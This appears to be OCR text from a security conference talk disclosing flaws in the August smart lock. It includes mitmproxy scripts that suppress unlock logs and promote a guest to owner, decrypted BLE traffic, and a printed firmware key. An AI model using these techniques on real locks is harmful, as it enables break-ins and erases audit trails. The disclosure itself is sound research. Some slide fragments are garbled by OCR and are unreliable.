Backdooring the Frontdoor

Hacking a "perfectly secure" smart lock.

About me

- Software Engineer by trade
- Hacker by passion
- Lock picker for fun
- The best puzzles are not meant to be solved
- Twitter: @jmaxxz



August Smart Lock

€ugust



August's marketing team

Is August safe?

Yes. August relies on the same secure communications technology used by financial institutions for online banking. This ensures that only invited guests have access to your properties, and that changes take effect immediately. With August, you can clearly define when and for how long visitors are authorized to open the lock. Unlike physical keys which can be duplicated and distributed without your knowledge, an August lock allows you to closely manage who has access to multiple properties, and to accurately track who has actually been there, when and for how long.

Source: august.com (August 17th, 2015)

"Unlike physical keys which can be duplicated and distributed without your knowledge, an August lock..."

Keyless


August's encrypted locking technology is safer than keys that can get lost and codes that can be copied.

Source: august.com (September 14th, 2015)

"Safer than ... codes that can be copied."

<August's video claiming perfect security>


CHALLENGE ACCEPTED



Security claims


- Perfectly secure
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
Mapping out the API





MitM proxy






Certificate pinning ...crap...

Solution

1. Use iOS SSL Kill Switch

(https://github.com/iSECPartners/ios-ssl-kill-switch)



Disabling SSL/TLS system wide at Defcon?





DIYLOL.COM

VORK


JENTS


Better solution













300 application/poor 308 117es

- Comment Advant Pall-Qual (AVETA particle - Start)

No Jailbreak




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After mapping out api

Postman collection created (see github repo)



```
-/Documents/Hacking/August/MobileAppCap — mitmproxy • cap.sh
```

```
2016-07-06 23:35:50 POST https://production.august.com/locks/log/
                                                                                                   /lockdata?clientSeria
                         - 200 application/json 518B 94ms
                                     Request
                                                                                                                       Re
                        application/ison
Accept:
accept-version:
                        0.0.1
x-august-access-token:
x-kease-apt-key;
Accept-Encoding:
                        gzip, deflate
Accept-Language:
                        en;q=1
Content-Type:
                        application/ison
Content-Length:
                        168
                        August/5.0.17 (1Phone; 10S 8.4; Scale/2.00)
Connection:
                        keep-alive
X-NewRelic-ID:
                        VwE0VVVQGwUHUVNQAAk=
                        production.august.com
J SON
    "batteryLevel": 6315.
    "currentLockState": "Unlocked",
    "error": 0.
    "key5lot": 3,
    "log type": "LockOperation",
    "opCode": "DoorStateChanged",
    "temperature": 164,
    "timeStamp": 946684803
```

Not anonymized



Creepy

Let's fix this

MiTM can modify traffic

Fix

Don't forward log data to August, and tell app logs were received

```
stealth.py

stealth.py

from mitmproxy.models import HTTPResponse
from netlib.http import Headers

def request(context, flow):

if flow.request.path.lower().startswith(("/locks/usage/", "/locks/log/unknown/", "/locks/log/requesttime")):


resp = HTTPResponse(
    b"HTTP/1.1", 200, b"OK",
    Headers(Content_Type="application/json"),
    b"{\"message\":\"success\"}"
}


flow.reply(resp)
```

☐ Line 11, Column 1 Tab Size: 4 Python

What else can we do?

Guest to admin?





User Types

Guest = user Owner = superuser

Replace "user" with "superuser"


```
force_user.py


force_user.py

def response(context, flow):
    flow.response.content = flow.response.content.replace("\"user\"", "\"superuser\"")


3
```


Guests can change lock settings!





Guests can not use Auto-Unlock Guests can not control lock settings






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Mapping out the BLE API





BLE



Enumerate BLE services

LightBlue Explorer - Bluetooth Low Energy

View More by This Developer

By Punch Through

Open iTunes to buy and download apps.



View in iTunes

Description

LightBlue Explorer can connect you to all of your devices that use Bluetooth 4.0 Low Energy (also known as Bluetooth Smart, or Bluetooth Light).


Punch Through Web Site) LightBlue Explorer - Bluetooth Low Energy Support)

....More


What's New in Version 2.4.0

- * Added new feature that allows the user to sort and filter discovered devices by signal strength.
- * Fixed alignment of alert that occurs when Bluetooth is turned off.

System ID <81f842fe ff3e315c>	>
Model Number String ASL-01	>
Serial Number String L1GFR000UT	>
Firmware Revision String	>
Hardware Revision String	>
Software Revision String	>



<16000215 7b0ca663 5e895f0d 7ee597c9 2bc4c137 Manufacturer Data



UUID: BD4AC610-0B45...D-0800200C9A66

MCU Write

Properties: Write

UUID: BD4AC611-0B45-11E3-8FFD-0800200C9A66

MCU Indicate

Properties: Read Indicate

UUID: BD4AC612-0B45-11E3-8FFD-0800200C9A66

SEC Write

Properties: Write

UUID: BD4AC613-0B45-11E3-8FFD-0800200C9A66

SEC Indicate


Properties: Indicate

UUID: BD4AC614-0B45-11E3-8FFD-0800200C9A66




Intercepting BLE


Solution: Ubertooth





Better solution





Plaintext BLE traffic in log files!

```
cipherText: <a1cfb0d2 a22d6ab8 b6e63071 0062ae50 0200>
                                                        clearText: <ee0300e5 28000000 00000000 00000000 0200>,
cipherText: <7fb1a4da 82b2cdac aac6698d 43609ffb 0200>
                                                        clearText: <ee02000b 03000000 00000000 00000000 0200>,
                                                        clearText: <ee02000b 03000000 00000000 00000000 0200>,
cipherText: <09bdb706 5c7a0ba4 6a5efe7c c8df1150 0200>
cipherText: <fb8305b3 50843cd7 4976d85e c423f03e 0200>
                                                        clearText: <ee0300eb 20000000 02000000 00000000 0200>,
                                                        clearText: <ee030018 18000000 b7260000 00000000 0200>.
cipherText: <c7286907 e1f0f516 6264c5c8 a5526e1d 0200>
cipherText: <6e0d03f6 0a535481 c1931212 92caa149 0200>
                                                        clearText: <ee030002 1a000000 cf220000 00000000 0200>,
cipherText: <2e281ce5 2ef77237 a6320935 83717a05 0200>
                                                        clearText: <ee030014 19000000 edf5ffff 00000000 0200>,
cipherText: <ae74bc1f ba793a32 32621cf6 da44c010 0200>
                                                        clearText: <ee030026 1b000000 d5f9ffff 00000000 0200>,
cipherText: <9f3010a6 2b180d2b 33cb0260 b3183e1b 0200>
                                                        clearText: <ee0300d4 38000000 01000000 00000000 0200>,
cipherText: <586d289b 9bc9502f 45ecc03c 14ad460a 0200>
                                                        clearText: <ee0300e5 28000000 00000000 00000000 0200>,
                                                        clearText: <ee02000c 02000000 00000000 00000000 0200>,
cipherText: <6004dd42 88e840bc 9f8bf4e0 34bd1054 0200>
cipherText: <c516758e 2723bba1 60ebe93e 3eaa4dd8 0200>
                                                        clearText: <ee0b0005 00000000 00000000 00000000 0200>,
                                                        clearText: <ee02000c 02000000 00000000 00000000 0200>,
cipherText: <1933b7f8 05f9e80e a4b48d0b e3da1910 0200>
cipherText: <2edd4fbd 56b41f94 86f50ba4 67841005 0200> clearText: <ee0200e6 28000000 00000000 00000000 0200>,
cipherText: <e5c2be35 ff83cd4c 692e3a2c 5a5a043f 0200> clearText: <ee0200e5 29000000 00000000 00000000 0200>,
cipherText: <d4d1a991 d7bd52f4 cc0e9915 d938c2b2 0200> clearText: <ee0200e2 2c000000 00000000 00000000 0200>,
```

cipherText: <3e6c47ac 367d8735 f06bd842 3d86a0d7 0200>

clearText: <ee0400e4 28000000 00000000 00000000 0200>,

No Jailbreak

Antonia: Stepper motor driver CC2541 SQC Bluetooth LE STM321 32-bit ARM Cortex M3 120K flash, 16K Sram 4K EEPROM LCD, USB, ADC DAC UART TX?

SEC write/indicate

- 1. Communicates with TI chip
- 2. Establish session key
- 3. Manage lock's key store [add, delete]



MCU write/indicate

- 1. Communicates with ST chip
- 2. Control lock
- 3. Manage lock settings
- 4. Firmware updates



Lock security model

- BLE + Just Works pairing
- 256 offline key slots (0-255)
- AES-128-CBC (null IV)




Key slot 0 is special


"Safer than ... codes that can be copied."

"Unlike physical keys which can be duplicated and distributed without your knowledge, an August lock..."

Requesting firmware as a guest

This is weird






70F4F853E330BAEC27BF2724F39D1471


Firmware key 'can not' be changed


Key material in logs



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Don't give guest access to someone you would not give a key to.

Code on github

- SDK for August lock
- Postman Collection

Demo

- 1. Unlock without a trace <demo>
- 2. Change Settings <demo>
- 3. Backdooring a lock <demo>

Mistakes made

- Mobile app logs include key material
- Lock does not differentiate between guest and owner
- Firmware not signed
- No apparent way to discover backdoor keys
- Guest users can download key material
- Access entry log can be erased by guest users
- Confusing two factor with two step
- No rate limiting of password reset attempts (fixed)
- Mobile apps include bypass for certificate pinning
- SecureRandom not used for nonce or session key generation (fixed)
- Key material not stored on iOS keychain

What was done correctly

- Mobile apps attempt to use certificate pinning
- Protocol makes use of nonces CBC
- August has been very responsive
- Not reliant solely on BLE's just works security model

Hackers needed

Consumers are not able to evaluate security claims made by companies

- We need more researchers investigating security claims made by companies on behalf of consumers.
- What can be asserted without evidence can be dismissed without evidence.